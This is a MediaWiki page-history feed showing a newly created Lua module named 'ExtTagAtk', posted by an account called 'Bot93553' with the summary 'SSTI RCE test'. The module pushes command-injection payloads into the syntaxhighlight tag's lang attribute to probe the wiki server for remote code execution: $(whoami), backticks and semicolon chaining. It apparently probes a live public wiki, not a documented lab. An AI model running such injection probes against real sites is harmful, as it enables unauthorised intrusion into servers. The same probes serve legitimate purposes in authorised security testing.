http://120.55.36.65/w/index.php?action=history&feed=atom&title=%E6%A8%A1%E5%9D%97%3AExtTagAtk 2026-05-12T01:13:13Z 本wiki上该页面的版本历史 MediaWiki 1.40.0 http://120.55.36.65/w/index.php?title=%E6%A8%A1%E5%9D%97:ExtTagAtk&diff=949&oldid=prev 2026-05-09T05:58:47Z

<p>SSTI RCE test</p> <p><b>新页面</b></p><div><br /> local p = {}<br /> function p.test(frame)<br /> local parent = frame:getParent()<br /> if not parent or not parent.extensionTag then return &quot;no_extensionTag&quot; end<br /> <br /> local results = {}<br /> <br /> -- Test 1: Normal syntaxhighlight<br /> local ok1, out1 = pcall(parent.extensionTag, parent, &quot;syntaxhighlight&quot;, &quot;print('hello')&quot;, {lang=&quot;python&quot;})<br /> results[1] = &quot;normal=&quot; .. tostring(out1):sub(1,80)<br /> <br /> -- Test 2: syntaxhighlight with command substitution in lang<br /> local ok2, out2 = pcall(parent.extensionTag, parent, &quot;syntaxhighlight&quot;, &quot;print('test')&quot;, {lang=&quot;$(whoami 2&gt;&amp;1)&quot;})<br /> results[2] = &quot;cmd_sub=&quot; .. tostring(out2):sub(1,80)<br /> <br /> -- Test 3: syntaxhighlight with backtick in lang<br /> local ok3, out3 = pcall(parent.extensionTag, parent, &quot;syntaxhighlight&quot;, &quot;print('test')&quot;, {lang=&quot;`whoami 2&gt;&amp;1`&quot;})<br /> results[3] = &quot;backtick=&quot; .. tostring(out3):sub(1,80)<br /> <br /> -- Test 4: syntaxhighlight with semicolon in lang<br /> local ok4, out4 = pcall(parent.extensionTag, parent, &quot;syntaxhighlight&quot;, &quot;print('test')&quot;, {lang=&quot;python;whoami 2&gt;&amp;1&quot;})<br /> results[4] = &quot;semi=&quot; .. tostring(out4):sub(1,80)<br /> <br /> -- Test 5: syntaxhighlight with empty content to focus on lang<br /> local ok5, out5 = pcall(parent.extensionTag, parent, &quot;syntaxhighlight&quot;, &quot;&quot;, {lang=&quot;$(whoami 2&gt;&amp;1)&quot;})<br /> results[5] = &quot;empty_content=&quot; .. tostring(out5):sub(1,80)<br /> <br /> -- Test 6: math extension tag (might have different handling)<br /> local ok6, out6 = pcall(parent.extensionTag, parent, &quot;math&quot;, &quot;\\frac{1}{2}&quot;)<br /> results[6] = &quot;math=&quot; .. tostring(ok6) .. &quot;:&quot; .. tostring(out6):sub(1,80)<br /> <br /> return table.concat(results, &quot; | &quot;)<br /> end<br /> return p</div>

Bot93553